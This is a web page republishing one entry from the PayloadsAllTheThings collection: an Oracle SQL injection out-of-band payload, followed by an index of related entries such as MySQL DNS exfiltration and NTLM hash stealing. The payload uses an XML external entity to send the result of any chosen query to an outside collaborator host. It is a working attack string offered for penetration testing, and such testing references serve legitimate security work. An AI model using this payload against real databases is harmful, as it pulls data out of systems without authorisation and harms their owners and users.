Skip to content
BackEsc
Sign in

SQL Injection · passage 127 of 186

OracleSQL Injection: Oracle SQL Out of Band

1 code block · SQL Injection/OracleSQL Injection.md

For testing systems you own or are authorised to test, and for defending them. Nothing here is run by this page.

Open this passage on GitHub
SELECT EXTRACTVALUE(xmltype('<?xml version="1.0" encoding="UTF-8"?><!DOCTYPE root [ <!ENTITY % remote SYSTEM "http://'||(SELECT YOUR-QUERY-HERE)||'.BURP-COLLABORATOR-SUBDOMAIN/"> %remote;]>'),'/l') FROM dual

Source: SQL Injection/OracleSQL Injection.md in PayloadsAllTheThings. From PayloadsAllTheThings by Swissky and contributors. MIT License, Copyright (c) 2019 Swissky.

Every one of the 186 is a mark on the map. Named now: 105 to 130, reading order first.

  1. MySQL Injection: MYSQL Truncation§ 1051 code block · MySQL Injection.md
  2. MySQL Injection: MYSQL Out of Band§ 1061 code block · MySQL Injection.md
  3. MySQL Injection: DNS Exfiltration§ 1071 code block · MySQL Injection.md
  4. MySQL Injection: UNC Path - NTLM Hash Stealing§ 1081 code block · MySQL Injection.md
  5. MySQL Injection: Alternative to Information Schema§ 1091 code block · MySQL Injection.md
  6. MySQL Injection: Alternative to VERSION§ 1101 code block · MySQL Injection.md
  7. MySQL Injection: Alternative to GROUPCONCAT§ 1111 code block · MySQL Injection.md
  8. MySQL Injection: Scientific Notation§ 112text · MySQL Injection.md
  9. MySQL Injection: Conditional Comments§ 113text · MySQL Injection.md
  10. MySQL Injection: Wide Byte Injection (GBK)§ 1142 code blocks · MySQL Injection.md
  11. OracleSQL Injection: Oracle SQL Injection§ 115text · OracleSQL Injection.md
  12. OracleSQL Injection: Oracle SQL Default Databases§ 116text · OracleSQL Injection.md
  13. OracleSQL Injection: Oracle SQL Comments§ 117text · OracleSQL Injection.md
  14. OracleSQL Injection: Oracle SQL Enumeration§ 118text · OracleSQL Injection.md
  15. OracleSQL Injection: Oracle SQL Database Credentials§ 119text · OracleSQL Injection.md
  16. OracleSQL Injection: Oracle SQL List Databases§ 1201 code block · OracleSQL Injection.md
  17. OracleSQL Injection: Oracle SQL List Tables§ 1211 code block · OracleSQL Injection.md
  18. OracleSQL Injection: Oracle SQL List Columns§ 1221 code block · OracleSQL Injection.md
  19. OracleSQL Injection: Oracle SQL Error Based§ 123text · OracleSQL Injection.md
  20. OracleSQL Injection: Oracle SQL Blind§ 124text · OracleSQL Injection.md
  21. OracleSQL Injection: Oracle Blind With Substring Equivalent§ 125text · OracleSQL Injection.md
  22. OracleSQL Injection: Oracle SQL Time Based§ 1261 code block · OracleSQL Injection.md
  23. OracleSQL Injection: Oracle SQL Out of Band§ 1271 code block · OracleSQL Injection.md
  24. OracleSQL Injection: Oracle SQL Command Execution§ 128text · OracleSQL Injection.md
  25. OracleSQL Injection: Oracle Java Execution§ 129text · OracleSQL Injection.md
  26. OracleSQL Injection: Oracle Java Class§ 130text · OracleSQL Injection.md

Zoom in on the map and the dots under the middle of it are named where they are.

Data as of 2026-11-14. CVE List through 2026-11-14 · EPSS of 2026-11-14 · CISA KEV checked 2026-11-14. Source: PayloadsAllTheThings by Swissky and contributors, MIT License. For authorised testing only. Use this via MCP

CyberSIXTSignal over noise
Updated AboutDevelopersSign in